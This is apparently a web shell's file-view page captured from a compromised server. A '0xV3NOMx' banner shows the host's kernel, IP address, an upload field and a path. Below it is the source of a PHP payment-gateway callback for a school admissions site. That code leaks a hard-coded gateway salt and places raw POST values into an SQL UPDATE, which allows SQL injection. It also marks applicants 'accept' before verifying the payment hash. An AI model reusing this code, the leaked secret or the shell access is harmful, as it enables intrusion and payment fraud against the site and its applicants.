0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.14.131.115


Current Path : /var/www/html/sikkim/adm/
Upload File :
Current File : /var/www/html/sikkim/adm/payment_gate_way_responce.php

<?php
require_once("links/header.php");
?>
				
		 <div class="page-container" style='margin-top:111px;'>
	<!-- BEGIN CONTENT -->
	<div class="page-content-wrapper">
		<div class="page-content">
		 
		 <?php
		 
		
require_once(dirname(__FILE__)."/cconfig.php");
ini_set("display_errors","On");
error_reporting(E_ALL ^ E_NOTICE^ E_WARNING);
require_once("cconfig.php");
$aobj_context=CConfig::CreateNewDbContext();
					$status=$_POST["status"];
					$firstname=$_POST["firstname"];
					$amount=$_POST["amount"];
					$txnid=$_POST["txnid"];
					$posted_hash=$_POST["hash"];
					$key=$_POST["key"];
					$productinfo=$_POST["productinfo"];
					$email=$_POST["email"];
					$salt="MQmZaJLHtO";
					$remarks="";
					 foreach($_POST as $ak=>$av)
					 {
						$remarks.="{$ak} => ".addslashes($av)." \n";
					 }
		 
					$update="update studadm set  FPAYMENTREMARKS='{$remarks}',
									FPAYMENTSTATUS='{$status}',
									FTRANID='{$txnid}', 
									FSTUDSTATUS = 'accept'
									where FAPPNO='{$productinfo}'";
									
					$lobj_update =  $aobj_context->mobj_db->Execute($update);
				 
					If (isset($_POST["additionalCharges"])) {
						   $additionalCharges=$_POST["additionalCharges"];
							$retHashSeq = $additionalCharges.'|'.$salt.'|'.$status.'|||||||||||'.$email.'|'.$firstname.'|'.$productinfo.'|'.$amount.'|'.$txnid.'|'.$key;
							
									  }
						else {	  

							$retHashSeq = $salt.'|'.$status.'|||||||||||'.$email.'|'.$firstname.'|'.$productinfo.'|'.$amount.'|'.$txnid.'|'.$key;

							 }
							 $hash = hash("sha512", $retHashSeq);
							 
						   if ($hash != $posted_hash) {
							   echo "<h1 style='color:red;'>Invalid Transaction. Please try again";
							   }
						   else {
								   
								echo " <div class='col-xs-9 center-block' style='float:none;margi:0 auto;'>  <h1 style='color:green;'>Thank You. Your payment status is ". $status ."</h1>";
							  echo "<h2>Your Transaction ID for this transaction is ".$txnid.".</h2>";
							  echo "<h3>We have received a payment of Rs. " . $amount  ."</h3>";
							  $html='<button class="btn blue" onclick=\'CMS.makepaymentapplicationForm("'.$productinfo.'");\' type="button"><i class="fa fa-download"></i> Print Eligibility Certificate</button>';
							  $html.='</div> ';
								echo $html; 
							   
							   }         
					?>	
			
	<!-- PF Transfer out-Print Reports Popup Starts-->			
							
		</div>
	</div>
	<!-- END CONTENT -->
</div>
<!-- END CONTAINER -->

<?php
require_once("links/footer.php");
?>